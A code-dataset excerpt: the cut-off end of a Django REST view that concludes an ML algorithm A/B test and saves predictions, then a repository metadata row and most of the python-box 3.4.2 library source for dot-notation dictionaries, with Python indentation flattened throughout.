all_responses_1 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_1, created_at__gt = ab_test.created_at, created_at__lt = date_now).count()
correct_responses_1 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_1, created_at__gt = ab_test.created_at, created_at__lt = date_now, response=F('feedback')).count()
accuracy_1 = correct_responses_1 / float(all_responses_1)
print(all_responses_1, correct_responses_1, accuracy_1)
all_responses_2 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_2, created_at__gt = ab_test.created_at, created_at__lt = date_now).count()
correct_responses_2 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_2, created_at__gt = ab_test.created_at, created_at__lt = date_now, response=F('feedback')).count()
accuracy_2 = correct_responses_2 / float(all_responses_2)
print(all_responses_2, correct_responses_2, accuracy_2)
alg_id_1, alg_id_2 = ab_test.parent_mlalgorithm_1, ab_test.parent_mlalgorithm_2
if accuracy_1 < accuracy_2:
alg_id_1, alg_id_2 = alg_id_2, alg_id_1
status_1 = MLAlgorithmStatus(status = 'production',
created_by=ab_test.created_by,
parent_mlalgorithm = alg_id_1,
active=True)
status_1.save()
deactivate_other_statuses(status_1)
status_2 = MLAlgorithmStatus(status = 'testing',
created_by=ab_test.created_by,
parent_mlalgorithm = alg_id_2,
active=True)
status_2.save()
deactivate_other_statuses(status_2)
summary = 'Algorithm #1 accuracy: {}, Algorithm #2 accuracy: {}'.format(accuracy_1, accuracy_2)
ab_test.ended_at = date_now
ab_test.summary = summary
ab_test.save()
except Exception as e:
return Response({'status': 'Error', 'message': str(e)},
status=status.HTTP_400_BAD_REQUEST
)
return Response({'message': 'AB Test finished.', 'summary': summary})
class PredictStoreViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet):
serializer_class = PredictStoreSerializer
queryset = PredictStore.objects.all()
@action(detail=True, methods=['post'])
def predict(self, request, pk=None, format=None):
serializer = PredictStoreSerializer(data=request.data)
if serializer.is_valid():
ml_algorithm_s = serializer.validated_data['ml_algorithm']
created_by_s = serializer.validated_data['created_by']
target = serializer.validated_data['target']
else:
return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)
alg_status = MLAlgorithmStatus(status='production',
created_by=created_by_s,
parent_mlalgorithm=ml_algorithm_s, active=True)
alg_status.save()
deactivate_other_statuses(alg_status)
data = json.loads(request.data['input_data'])
algs = MLAlgorithm.objects.filter(status__parent_mlalgorithm=ml_algorithm_s, status__active=True)
algorithm_object = registry.endpoints[algs[0].id]
prediction = algorithm_object.compute_prediction(data)
label = prediction['label'] if 'label' in prediction else 'error'
ml_request = MLRequest(
input_data=json.dumps(data),
full_response=prediction,
response=label,
feedback=target,
parent_mlalgorithm=algs[0], )
ml_request.save()
prediction["request_id"] = ml_request.id
if serializer.is_valid():
serializer.validated_data['prediction'] = prediction
else:
return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)
if PredictStore.objects.filter(id=pk).exists():
instance = PredictStore.objects.get(id=pk)
instance.prediction = prediction
instance.target = target
instance.save()
else:
serializer.save()
return Response(serializer.data)
| true | true |
f7f364999c82238e49ad2e272c05e000c24e4281 | 44,044 | py | Python | box.py | str3tch/Box | d512eba2995af267798d059dd305b79b36d913c3 | [
"MIT"
] | null | null | null | box.py | str3tch/Box | d512eba2995af267798d059dd305b79b36d913c3 | [
"MIT"
] | null | null | null | box.py | str3tch/Box | d512eba2995af267798d059dd305b79b36d913c3 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
#
# Copyright (c) 2017-2019 - Chris Griffith - MIT License
"""
Improved dictionary access through dot notation with additional tools.
"""
import string
import sys
import json
import re
import copy
from keyword import kwlist
import warnings
try:
from collections.abc import Iterable, Mapping, Callable
except ImportError:
from collections import Iterable, Mapping, Callable
yaml_support = True
try:
import yaml
except ImportError:
try:
import ruamel.yaml as yaml
except ImportError:
yaml = None
yaml_support = False
wrapt_support = True
try:
import wrapt
except ImportError:
wrapt = None
wrapt_support = False
if sys.version_info >= (3, 0):
basestring = str
else:
from io import open
__all__ = ['Box', 'ConfigBox', 'BoxList', 'SBox',
'BoxError', 'BoxKeyError']
__author__ = 'Chris Griffith'
__version__ = '3.4.2'
BOX_PARAMETERS = ('default_box', 'default_box_attr', 'conversion_box',
'frozen_box', 'camel_killer_box', 'box_it_up',
'box_safe_prefix', 'box_duplicates', 'ordered_box',
'box_intact_types')
_first_cap_re = re.compile('(.)([A-Z][a-z]+)')
_all_cap_re = re.compile('([a-z0-9])([A-Z])')
class BoxError(Exception):
"""Non standard dictionary exceptions"""
class BoxKeyError(BoxError, KeyError, AttributeError):
"""Key does not exist"""
# Abstract converter functions for use in any Box class
def _to_json(obj, filename=None,
encoding="utf-8", errors="strict", **json_kwargs):
json_dump = json.dumps(obj,
ensure_ascii=False, **json_kwargs)
if filename:
with open(filename, 'w', encoding=encoding, errors=errors) as f:
f.write(json_dump if sys.version_info >= (3, 0) else
json_dump.decode("utf-8"))
else:
return json_dump
def _from_json(json_string=None, filename=None,
encoding="utf-8", errors="strict", multiline=False, **kwargs):
if filename:
with open(filename, 'r', encoding=encoding, errors=errors) as f:
if multiline:
data = [json.loads(line.strip(), **kwargs) for line in f
if line.strip() and not line.strip().startswith("#")]
else:
data = json.load(f, **kwargs)
elif json_string:
data = json.loads(json_string, **kwargs)
else:
raise BoxError('from_json requires a string or filename')
return data
def _to_yaml(obj, filename=None, default_flow_style=False,
encoding="utf-8", errors="strict",
**yaml_kwargs):
if filename:
with open(filename, 'w',
encoding=encoding, errors=errors) as f:
yaml.dump(obj, stream=f,
default_flow_style=default_flow_style,
**yaml_kwargs)
else:
return yaml.dump(obj,
default_flow_style=default_flow_style,
**yaml_kwargs)
def _from_yaml(yaml_string=None, filename=None,
encoding="utf-8", errors="strict",
**kwargs):
if filename:
with open(filename, 'r',
encoding=encoding, errors=errors) as f:
data = yaml.load(f, **kwargs)
elif yaml_string:
data = yaml.load(yaml_string, **kwargs)
else:
raise BoxError('from_yaml requires a string or filename')
return data
# Helper functions
def _safe_key(key):
try:
return str(key)
except UnicodeEncodeError:
return key.encode("utf-8", "ignore")
def _safe_attr(attr, camel_killer=False, replacement_char='x'):
"""Convert a key into something that is accessible as an attribute"""
allowed = string.ascii_letters + string.digits + '_'
attr = _safe_key(attr)
if camel_killer:
attr = _camel_killer(attr)
attr = attr.replace(' ', '_')
out = ''
for character in attr:
out += character if character in allowed else "_"
out = out.strip("_")
try:
int(out[0])
except (ValueError, IndexError):
pass
else:
out = '{0}{1}'.format(replacement_char, out)
if out in kwlist:
out = '{0}{1}'.format(replacement_char, out)
return re.sub('_+', '_', out)
def _camel_killer(attr):
"""
CamelKiller, qu'est-ce que c'est?
Taken from http://stackoverflow.com/a/1176023/3244542
"""
try:
attr = str(attr)
except UnicodeEncodeError:
attr = attr.encode("utf-8", "ignore")
s1 = _first_cap_re.sub(r'\1_\2', attr)
s2 = _all_cap_re.sub(r'\1_\2', s1)
return re.sub('_+', '_', s2.casefold() if hasattr(s2, 'casefold')
else s2.lower())
def _recursive_tuples(iterable, box_class, recreate_tuples=False, **kwargs):
out_list = []
for i in iterable:
if isinstance(i, dict):
out_list.append(box_class(i, **kwargs))
elif isinstance(i, list) or (recreate_tuples and isinstance(i, tuple)):
out_list.append(_recursive_tuples(i, box_class,
recreate_tuples, **kwargs))
else:
out_list.append(i)
return tuple(out_list)
def _conversion_checks(item, keys, box_config, check_only=False,
pre_check=False):
"""
Internal use for checking if a duplicate safe attribute already exists
:param item: Item to see if a dup exists
:param keys: Keys to check against
:param box_config: Easier to pass in than ask for specfic items
:param check_only: Don't bother doing the conversion work
:param pre_check: Need to add the item to the list of keys to check
:return: the original unmodified key, if exists and not check_only
"""
if box_config['box_duplicates'] != 'ignore':
if pre_check:
keys = list(keys) + [item]
key_list = [(k,
_safe_attr(k, camel_killer=box_config['camel_killer_box'],
replacement_char=box_config['box_safe_prefix']
)) for k in keys]
if len(key_list) > len(set(x[1] for x in key_list)):
seen = set()
dups = set()
for x in key_list:
if x[1] in seen:
dups.add("{0}({1})".format(x[0], x[1]))
seen.add(x[1])
if box_config['box_duplicates'].startswith("warn"):
warnings.warn('Duplicate conversion attributes exist: '
'{0}'.format(dups))
else:
raise BoxError('Duplicate conversion attributes exist: '
'{0}'.format(dups))
if check_only:
return
# This way will be slower for warnings, as it will have double work
# But faster for the default 'ignore'
for k in keys:
if item == _safe_attr(k, camel_killer=box_config['camel_killer_box'],
replacement_char=box_config['box_safe_prefix']):
return k
def _get_box_config(cls, kwargs):
return {
# Internal use only
'__converted': set(),
'__box_heritage': kwargs.pop('__box_heritage', None),
'__created': False,
'__ordered_box_values': [],
# Can be changed by user after box creation
'default_box': kwargs.pop('default_box', False),
'default_box_attr': kwargs.pop('default_box_attr', cls),
'conversion_box': kwargs.pop('conversion_box', True),
'box_safe_prefix': kwargs.pop('box_safe_prefix', 'x'),
'frozen_box': kwargs.pop('frozen_box', False),
'camel_killer_box': kwargs.pop('camel_killer_box', False),
'modify_tuples_box': kwargs.pop('modify_tuples_box', False),
'box_duplicates': kwargs.pop('box_duplicates', 'ignore'),
'ordered_box': kwargs.pop('ordered_box', False),
'box_intact_types': tuple(kwargs.pop('box_intact_types', ())),
}
class Box(dict):
"""
Improved dictionary access through dot notation with additional tools.
:param default_box: Similar to defaultdict, return a default value
:param default_box_attr: Specify the default replacement.
WARNING: If this is not the default 'Box', it will not be recursive
:param frozen_box: After creation, the box cannot be modified
:param camel_killer_box: Convert CamelCase to snake_case
:param conversion_box: Check for near matching keys as attributes
:param modify_tuples_box: Recreate incoming tuples with dicts into Boxes
:param box_it_up: Recursively create all Boxes from the start
:param box_safe_prefix: Conversion box prefix for unsafe attributes
:param box_duplicates: "ignore", "error" or "warn" when duplicates exists
in a conversion_box
:param ordered_box: Preserve the order of keys entered into the box
:param box_intact_types: Keep data with given types intact
"""
_protected_keys = dir({}) + ['to_dict', 'tree_view', 'to_json', 'to_yaml',
'from_yaml', 'from_json']
def __new__(cls, *args, **kwargs):
"""
Due to the way pickling works in python 3, we need to make sure
the box config is created as early as possible.
"""
obj = super(Box, cls).__new__(cls, *args, **kwargs)
obj._box_config = _get_box_config(cls, kwargs)
return obj
def __init__(self, *args, **kwargs):
self._box_config = _get_box_config(self.__class__, kwargs)
if self._box_config['ordered_box']:
self._box_config['__ordered_box_values'] = []
if (not self._box_config['conversion_box'] and
self._box_config['box_duplicates'] != "ignore"):
raise BoxError('box_duplicates are only for conversion_boxes')
if len(args) == 1:
if isinstance(args[0], basestring):
raise ValueError('Cannot extrapolate Box from string')
if isinstance(args[0], Mapping):
for k, v in args[0].items():
if v is args[0]:
v = self
self[k] = v
self.__add_ordered(k)
elif isinstance(args[0], Iterable):
for k, v in args[0]:
self[k] = v
self.__add_ordered(k)
else:
raise ValueError('First argument must be mapping or iterable')
elif args:
raise TypeError('Box expected at most 1 argument, '
'got {0}'.format(len(args)))
box_it = kwargs.pop('box_it_up', False)
for k, v in kwargs.items():
if args and isinstance(args[0], Mapping) and v is args[0]:
v = self
self[k] = v
self.__add_ordered(k)
if (self._box_config['frozen_box'] or box_it or
self._box_config['box_duplicates'] != 'ignore'):
self.box_it_up()
self._box_config['__created'] = True
def __add_ordered(self, key):
if (self._box_config['ordered_box'] and
key not in self._box_config['__ordered_box_values']):
self._box_config['__ordered_box_values'].append(key)
def box_it_up(self):
"""
Perform value lookup for all items in current dictionary,
generating all sub Box objects, while also running `box_it_up` on
any of those sub box objects.
"""
for k in self:
_conversion_checks(k, self.keys(), self._box_config,
check_only=True)
if self[k] is not self and hasattr(self[k], 'box_it_up'):
self[k].box_it_up()
def __hash__(self):
if self._box_config['frozen_box']:
hashing = 54321
for item in self.items():
hashing ^= hash(item)
return hashing
raise TypeError("unhashable type: 'Box'")
def __dir__(self):
allowed = string.ascii_letters + string.digits + '_'
kill_camel = self._box_config['camel_killer_box']
items = set(dir(dict) + ['to_dict', 'to_json',
'from_json', 'box_it_up'])
# Only show items accessible by dot notation
for key in self.keys():
key = _safe_key(key)
if (' ' not in key and key[0] not in string.digits and
key not in kwlist):
for letter in key:
if letter not in allowed:
break
else:
items.add(key)
for key in self.keys():
key = _safe_key(key)
if key not in items:
if self._box_config['conversion_box']:
key = _safe_attr(key, camel_killer=kill_camel,
replacement_char=self._box_config[
'box_safe_prefix'])
if key:
items.add(key)
if kill_camel:
snake_key = _camel_killer(key)
if snake_key:
items.remove(key)
items.add(snake_key)
if yaml_support:
items.add('to_yaml')
items.add('from_yaml')
return list(items)
def get(self, key, default=None):
if key not in self:
if default is None and self._box_config['default_box']:
return self.__get_default(key)
if isinstance(default, dict) and not isinstance(default, Box):
return Box(default)
if isinstance(default, list) and not isinstance(default, BoxList):
return BoxList(default)
return default
return self[key]
def copy(self):
return Box(super(Box, self).copy())
def __copy__(self):
return Box(super(Box, self).copy())
def __deepcopy__(self, memodict=None):
out = self.__class__()
memodict = memodict or {}
memodict[id(self)] = out
for k, v in self.items():
out[copy.deepcopy(k, memodict)] = copy.deepcopy(v, memodict)
return out
def __setstate__(self, state):
self._box_config = state['_box_config']
self.__dict__.update(state)
def __getitem__(self, item, _ignore_default=False):
try:
value = super(Box, self).__getitem__(item)
except KeyError as err:
if item == '_box_config':
raise BoxKeyError('_box_config should only exist as an '
'attribute and is never defaulted')
if self._box_config['default_box'] and not _ignore_default:
return self.__get_default(item)
raise BoxKeyError(str(err))
else:
return self.__convert_and_store(item, value)
def keys(self):
if self._box_config['ordered_box']:
return self._box_config['__ordered_box_values']
return super(Box, self).keys()
def values(self):
return [self[x] for x in self.keys()]
def items(self):
return [(x, self[x]) for x in self.keys()]
def __get_default(self, item):
default_value = self._box_config['default_box_attr']
if default_value is self.__class__:
return self.__class__(__box_heritage=(self, item),
**self.__box_config())
elif isinstance(default_value, Callable):
return default_value()
elif hasattr(default_value, 'copy'):
return default_value.copy()
return default_value
def __box_config(self):
out = {}
for k, v in self._box_config.copy().items():
if not k.startswith("__"):
out[k] = v
return out
def __convert_and_store(self, item, value):
if (item in self._box_config['__converted'] or
(self._box_config['box_intact_types'] and
isinstance(value, self._box_config['box_intact_types']))):
return value
if isinstance(value, dict) and not isinstance(value, Box):
value = self.__class__(value, __box_heritage=(self, item),
**self.__box_config())
self[item] = value
elif isinstance(value, list) and not isinstance(value, BoxList):
if self._box_config['frozen_box']:
value = _recursive_tuples(value, self.__class__,
recreate_tuples=self._box_config[
'modify_tuples_box'],
__box_heritage=(self, item),
**self.__box_config())
else:
value = BoxList(value, __box_heritage=(self, item),
box_class=self.__class__,
**self.__box_config())
self[item] = value
elif (self._box_config['modify_tuples_box'] and
isinstance(value, tuple)):
value = _recursive_tuples(value, self.__class__,
recreate_tuples=True,
__box_heritage=(self, item),
**self.__box_config())
self[item] = value
self._box_config['__converted'].add(item)
return value
def __create_lineage(self):
if (self._box_config['__box_heritage'] and
self._box_config['__created']):
past, item = self._box_config['__box_heritage']
if not past[item]:
past[item] = self
self._box_config['__box_heritage'] = None
def __getattr__(self, item):
try:
try:
value = self.__getitem__(item, _ignore_default=True)
except KeyError:
value = object.__getattribute__(self, item)
except AttributeError as err:
if item == "__getstate__":
raise AttributeError(item)
if item == '_box_config':
raise BoxError('_box_config key must exist')
kill_camel = self._box_config['camel_killer_box']
if self._box_config['conversion_box'] and item:
k = _conversion_checks(item, self.keys(), self._box_config)
if k:
return self.__getitem__(k)
if kill_camel:
for k in self.keys():
if item == _camel_killer(k):
return self.__getitem__(k)
if self._box_config['default_box']:
return self.__get_default(item)
raise BoxKeyError(str(err))
else:
if item == '_box_config':
return value
return self.__convert_and_store(item, value)
def __setitem__(self, key, value):
if (key != '_box_config' and self._box_config['__created'] and
self._box_config['frozen_box']):
raise BoxError('Box is frozen')
if self._box_config['conversion_box']:
_conversion_checks(key, self.keys(), self._box_config,
check_only=True, pre_check=True)
super(Box, self).__setitem__(key, value)
self.__add_ordered(key)
self.__create_lineage()
def __setattr__(self, key, value):
if (key != '_box_config' and self._box_config['frozen_box'] and
self._box_config['__created']):
raise BoxError('Box is frozen')
if key in self._protected_keys:
raise AttributeError("Key name '{0}' is protected".format(key))
if key == '_box_config':
return object.__setattr__(self, key, value)
if (key not in self.keys() and
(self._box_config['conversion_box'] or
self._box_config['camel_killer_box'])):
if self._box_config['conversion_box']:
k = _conversion_checks(key, self.keys(),
self._box_config)
self[key if not k else k] = value
elif self._box_config['camel_killer_box']:
for each_key in self:
if key == _camel_killer(each_key):
self[each_key] = value
break
else:
self[key] = value
self.__add_ordered(key)
self.__create_lineage()
def __delitem__(self, key):
if self._box_config['frozen_box']:
raise BoxError('Box is frozen')
super(Box, self).__delitem__(key)
if (self._box_config['ordered_box'] and
key in self._box_config['__ordered_box_values']):
self._box_config['__ordered_box_values'].remove(key)
def __delattr__(self, item):
if self._box_config['frozen_box']:
raise BoxError('Box is frozen')
if item == '_box_config':
raise BoxError('"_box_config" is protected')
if item in self._protected_keys:
raise AttributeError("Key name '{0}' is protected".format(item))
del self[item]
def pop(self, key, *args):
if args:
if len(args) != 1:
raise BoxError('pop() takes only one optional'
' argument "default"')
try:
item = self[key]
except KeyError:
return args[0]
else:
del self[key]
return item
try:
item = self[key]
except KeyError:
raise BoxKeyError('{0}'.format(key))
else:
del self[key]
return item
def clear(self):
self._box_config['__ordered_box_values'] = []
super(Box, self).clear()
def popitem(self):
try:
key = next(self.__iter__())
except StopIteration:
raise BoxKeyError('Empty box')
return key, self.pop(key)
def __repr__(self):
return '<Box: {0}>'.format(str(self.to_dict()))
def __str__(self):
return str(self.to_dict())
def __iter__(self):
for key in self.keys():
yield key
def __reversed__(self):
for key in reversed(list(self.keys())):
yield key
def to_dict(self):
"""
Turn the Box and sub Boxes back into a native
python dictionary.
:return: python dictionary of this Box
"""
out_dict = dict(self)
for k, v in out_dict.items():
if v is self:
out_dict[k] = out_dict
elif hasattr(v, 'to_dict'):
out_dict[k] = v.to_dict()
elif hasattr(v, 'to_list'):
out_dict[k] = v.to_list()
return out_dict
def update(self, item=None, **kwargs):
if not item:
item = kwargs
iter_over = item.items() if hasattr(item, 'items') else item
for k, v in iter_over:
if isinstance(v, dict):
# Box objects must be created in case they are already
# in the `converted` box_config set
v = self.__class__(v)
if k in self and isinstance(self[k], dict):
self[k].update(v)
continue
if isinstance(v, list):
v = BoxList(v)
try:
self.__setattr__(k, v)
except (AttributeError, TypeError):
self.__setitem__(k, v)
def setdefault(self, item, default=None):
if item in self:
return self[item]
if isinstance(default, dict):
default = self.__class__(default, **self.__box_config())
if isinstance(default, list):
default = BoxList(default,
box_class=self.__class__, **self.__box_config())
self[item] = default
return default
def to_json(self, filename=None,
encoding="utf-8", errors="strict", **json_kwargs):
"""
Transform the Box object into a JSON string.
:param filename: If provided will save to file
:param encoding: File encoding
:param errors: How to handle encoding errors
:param json_kwargs: additional arguments to pass to json.dump(s)
:return: string of JSON or return of `json.dump`
"""
return _to_json(self.to_dict(), filename=filename,
encoding=encoding, errors=errors, **json_kwargs)
@classmethod
def from_json(cls, json_string=None, filename=None,
encoding="utf-8", errors="strict", **kwargs):
"""
Transform a json object string into a Box object. If the incoming
json is a list, you must use BoxList.from_json.
:param json_string: string to pass to `json.loads`
:param filename: filename to open and pass to `json.load`
:param encoding: File encoding
:param errors: How to handle encoding errors
:param kwargs: parameters to pass to `Box()` or `json.loads`
:return: Box object from json data
"""
bx_args = {}
for arg in kwargs.copy():
if arg in BOX_PARAMETERS:
bx_args[arg] = kwargs.pop(arg)
data = _from_json(json_string, filename=filename,
encoding=encoding, errors=errors, **kwargs)
if not isinstance(data, dict):
raise BoxError('json data not returned as a dictionary, '
'but rather a {0}'.format(type(data).__name__))
return cls(data, **bx_args)
if yaml_support:
def to_yaml(self, filename=None, default_flow_style=False,
encoding="utf-8", errors="strict",
**yaml_kwargs):
"""
Transform the Box object into a YAML string.
:param filename: If provided will save to file
:param default_flow_style: False will recursively dump dicts
:param encoding: File encoding
:param errors: How to handle encoding errors
:param yaml_kwargs: additional arguments to pass to yaml.dump
:return: string of YAML or return of `yaml.dump`
"""
return _to_yaml(self.to_dict(), filename=filename,
default_flow_style=default_flow_style,
encoding=encoding, errors=errors, **yaml_kwargs)
@classmethod
def from_yaml(cls, yaml_string=None, filename=None,
encoding="utf-8", errors="strict",
loader=yaml.SafeLoader, **kwargs):
"""
Transform a yaml object string into a Box object.
:param yaml_string: string to pass to `yaml.load`
:param filename: filename to open and pass to `yaml.load`
:param encoding: File encoding
:param errors: How to handle encoding errors
:param loader: YAML Loader, defaults to SafeLoader
:param kwargs: parameters to pass to `Box()` or `yaml.load`
:return: Box object from yaml data
"""
bx_args = {}
for arg in kwargs.copy():
if arg in BOX_PARAMETERS:
bx_args[arg] = kwargs.pop(arg)
data = _from_yaml(yaml_string=yaml_string, filename=filename,
encoding=encoding, errors=errors,
Loader=loader, **kwargs)
if not isinstance(data, dict):
raise BoxError('yaml data not returned as a dictionary'
'but rather a {0}'.format(type(data).__name__))
return cls(data, **bx_args)
class BoxList(list):
"""
Drop in replacement of list, that converts added objects to Box or BoxList
objects as necessary.
"""
def __init__(self, iterable=None, box_class=Box, **box_options):
self.box_class = box_class
self.box_options = box_options
self.box_org_ref = self.box_org_ref = id(iterable) if iterable else 0
if iterable:
for x in iterable:
self.append(x)
if box_options.get('frozen_box'):
def frozen(*args, **kwargs):
raise BoxError('BoxList is frozen')
for method in ['append', 'extend', 'insert', 'pop',
'remove', 'reverse', 'sort']:
self.__setattr__(method, frozen)
def __delitem__(self, key):
if self.box_options.get('frozen_box'):
raise BoxError('BoxList is frozen')
super(BoxList, self).__delitem__(key)
def __setitem__(self, key, value):
if self.box_options.get('frozen_box'):
raise BoxError('BoxList is frozen')
super(BoxList, self).__setitem__(key, value)
def _is_intact_type(self, obj):
try:
if (self.box_options.get('box_intact_types') and
isinstance(obj, self.box_options['box_intact_types'])):
return True
except AttributeError as err:
if 'box_options' in self.__dict__:
raise err
return False
def append(self, p_object):
if isinstance(p_object, dict) and not self._is_intact_type(p_object):
try:
p_object = self.box_class(p_object, **self.box_options)
except AttributeError as err:
if 'box_class' in self.__dict__:
raise err
elif isinstance(p_object, list) and not self._is_intact_type(p_object):
try:
p_object = (self if id(p_object) == self.box_org_ref else
BoxList(p_object))
except AttributeError as err:
if 'box_org_ref' in self.__dict__:
raise err
super(BoxList, self).append(p_object)
def extend(self, iterable):
for item in iterable:
self.append(item)
def insert(self, index, p_object):
if isinstance(p_object, dict) and not self._is_intact_type(p_object):
p_object = self.box_class(p_object, **self.box_options)
elif isinstance(p_object, list) and not self._is_intact_type(p_object):
p_object = (self if id(p_object) == self.box_org_ref else
BoxList(p_object))
super(BoxList, self).insert(index, p_object)
def __repr__(self):
return "<BoxList: {0}>".format(self.to_list())
def __str__(self):
return str(self.to_list())
def __copy__(self):
return BoxList((x for x in self),
self.box_class,
**self.box_options)
def __deepcopy__(self, memodict=None):
out = self.__class__()
memodict = memodict or {}
memodict[id(self)] = out
for k in self:
out.append(copy.deepcopy(k))
return out
def __hash__(self):
if self.box_options.get('frozen_box'):
hashing = 98765
hashing ^= hash(tuple(self))
return hashing
raise TypeError("unhashable type: 'BoxList'")
def to_list(self):
new_list = []
for x in self:
if x is self:
new_list.append(new_list)
elif isinstance(x, Box):
new_list.append(x.to_dict())
elif isinstance(x, BoxList):
new_list.append(x.to_list())
else:
new_list.append(x)
return new_list
def to_json(self, filename=None,
encoding="utf-8", errors="strict",
multiline=False, **json_kwargs):
"""
Transform the BoxList object into a JSON string.
:param filename: If provided will save to file
:param encoding: File encoding
:param errors: How to handle encoding errors
:param multiline: Put each item in list onto it's own line
:param json_kwargs: additional arguments to pass to json.dump(s)
:return: string of JSON or return of `json.dump`
"""
if filename and multiline:
lines = [_to_json(item, filename=False, encoding=encoding,
errors=errors, **json_kwargs) for item in self]
with open(filename, 'w', encoding=encoding, errors=errors) as f:
f.write("\n".join(lines).decode('utf-8') if
sys.version_info < (3, 0) else "\n".join(lines))
else:
return _to_json(self.to_list(), filename=filename,
encoding=encoding, errors=errors, **json_kwargs)
@classmethod
def from_json(cls, json_string=None, filename=None, encoding="utf-8",
errors="strict", multiline=False, **kwargs):
"""
Transform a json object string into a BoxList object. If the incoming
json is a dict, you must use Box.from_json.
:param json_string: string to pass to `json.loads`
:param filename: filename to open and pass to `json.load`
:param encoding: File encoding
:param errors: How to handle encoding errors
:param multiline: One object per line
:param kwargs: parameters to pass to `Box()` or `json.loads`
:return: BoxList object from json data
"""
bx_args = {}
for arg in kwargs.copy():
if arg in BOX_PARAMETERS:
bx_args[arg] = kwargs.pop(arg)
data = _from_json(json_string, filename=filename, encoding=encoding,
errors=errors, multiline=multiline, **kwargs)
if not isinstance(data, list):
raise BoxError('json data not returned as a list, '
'but rather a {0}'.format(type(data).__name__))
return cls(data, **bx_args)
if yaml_support:
def to_yaml(self, filename=None, default_flow_style=False,
encoding="utf-8", errors="strict",
**yaml_kwargs):
"""
Transform the BoxList object into a YAML string.
:param filename: If provided will save to file
:param default_flow_style: False will recursively dump dicts
:param encoding: File encoding
:param errors: How to handle encoding errors
:param yaml_kwargs: additional arguments to pass to yaml.dump
:return: string of YAML or return of `yaml.dump`
"""
return _to_yaml(self.to_list(), filename=filename,
default_flow_style=default_flow_style,
encoding=encoding, errors=errors, **yaml_kwargs)
@classmethod
def from_yaml(cls, yaml_string=None, filename=None,
encoding="utf-8", errors="strict",
loader=yaml.SafeLoader,
**kwargs):
"""
Transform a yaml object string into a BoxList object.
:param yaml_string: string to pass to `yaml.load`
:param filename: filename to open and pass to `yaml.load`
:param encoding: File encoding
:param errors: How to handle encoding errors
:param loader: YAML Loader, defaults to SafeLoader
:param kwargs: parameters to pass to `BoxList()` or `yaml.load`
:return: BoxList object from yaml data
"""
bx_args = {}
for arg in kwargs.copy():
if arg in BOX_PARAMETERS:
bx_args[arg] = kwargs.pop(arg)
data = _from_yaml(yaml_string=yaml_string, filename=filename,
encoding=encoding, errors=errors,
Loader=loader, **kwargs)
if not isinstance(data, list):
raise BoxError('yaml data not returned as a list'
'but rather a {0}'.format(type(data).__name__))
return cls(data, **bx_args)
def box_it_up(self):
for v in self:
if hasattr(v, 'box_it_up') and v is not self:
v.box_it_up()
class ConfigBox(Box):
"""
Modified box object to add object transforms.
Allows for build in transforms like:
cns = ConfigBox(my_bool='yes', my_int='5', my_list='5,4,3,3,2')
cns.bool('my_bool') # True
cns.int('my_int') # 5
cns.list('my_list', mod=lambda x: int(x)) # [5, 4, 3, 3, 2]
"""
_protected_keys = dir({}) + ['to_dict', 'bool', 'int', 'float',
'list', 'getboolean', 'to_json', 'to_yaml',
'getfloat', 'getint',
'from_json', 'from_yaml']
def __getattr__(self, item):
"""Config file keys are stored in lower case, be a little more
loosey goosey"""
try:
return super(ConfigBox, self).__getattr__(item)
except AttributeError:
return super(ConfigBox, self).__getattr__(item.lower())
def __dir__(self):
return super(ConfigBox, self).__dir__() + ['bool', 'int', 'float',
'list', 'getboolean',
'getfloat', 'getint']
def bool(self, item, default=None):
""" Return value of key as a boolean
:param item: key of value to transform
:param default: value to return if item does not exist
:return: approximated bool of value
"""
try:
item = self.__getattr__(item)
except AttributeError as err:
if default is not None:
return default
raise err
if isinstance(item, (bool, int)):
return bool(item)
if (isinstance(item, str) and
item.lower() in ('n', 'no', 'false', 'f', '0')):
return False
return True if item else False
def int(self, item, default=None):
""" Return value of key as an int
:param item: key of value to transform
:param default: value to return if item does not exist
:return: int of value
"""
try:
item = self.__getattr__(item)
except AttributeError as err:
if default is not None:
return default
raise err
return int(item)
def float(self, item, default=None):
""" Return value of key as a float
:param item: key of value to transform
:param default: value to return if item does not exist
:return: float of value
"""
try:
item = self.__getattr__(item)
except AttributeError as err:
if default is not None:
return default
raise err
return float(item)
def list(self, item, default=None, spliter=",", strip=True, mod=None):
""" Return value of key as a list
:param item: key of value to transform
:param mod: function to map against list
:param default: value to return if item does not exist
:param spliter: character to split str on
:param strip: clean the list with the `strip`
:return: list of items
"""
try:
item = self.__getattr__(item)
except AttributeError as err:
if default is not None:
return default
raise err
if strip:
item = item.lstrip('[').rstrip(']')
out = [x.strip() if strip else x for x in item.split(spliter)]
if mod:
return list(map(mod, out))
return out
# loose configparser compatibility
def getboolean(self, item, default=None):
return self.bool(item, default)
def getint(self, item, default=None):
return self.int(item, default)
def getfloat(self, item, default=None):
return self.float(item, default)
def __repr__(self):
return '<ConfigBox: {0}>'.format(str(self.to_dict()))
def copy(self):
return ConfigBox(super(ConfigBox, self).copy())
def __copy__(self):
return ConfigBox(super(ConfigBox, self).copy())
class SBox(Box):
"""
ShorthandBox (SBox) allows for
property access of `dict` `json` and `yaml`
"""
_protected_keys = dir({}) + ['to_dict', 'tree_view', 'to_json', 'to_yaml',
'json', 'yaml', 'from_yaml', 'from_json',
'dict']
@property
def dict(self):
return self.to_dict()
@property
def json(self):
return self.to_json()
if yaml_support:
@property
def yaml(self):
return self.to_yaml()
def __repr__(self):
return '<ShorthandBox: {0}>'.format(str(self.to_dict()))
def copy(self):
return SBox(super(SBox, self).copy())
def __copy__(self):
return SBox(super(SBox, self).copy())
if wrapt_support:
class BoxObject(wrapt.ObjectProxy):
"""
Wrapper for any Python object with a Box as __dict__.
Simple Usage:
import requests
url = 'https://raw.githubusercontent.com/cdgriffith/Box/master/box.py'
session = BoxObject(requests.Session())
session.source_code = session.get(url).text
:param wrapped: Wrapped Object.
:param box_class: Custom internal Box class
:param args: Arguments to fill Box
:param kwargs: Keyword arguments to fill Box
"""
def __init__(self, wrapped=None, *args, **kwargs):
"""Initialize Box Object with __dict__ as a Box."""
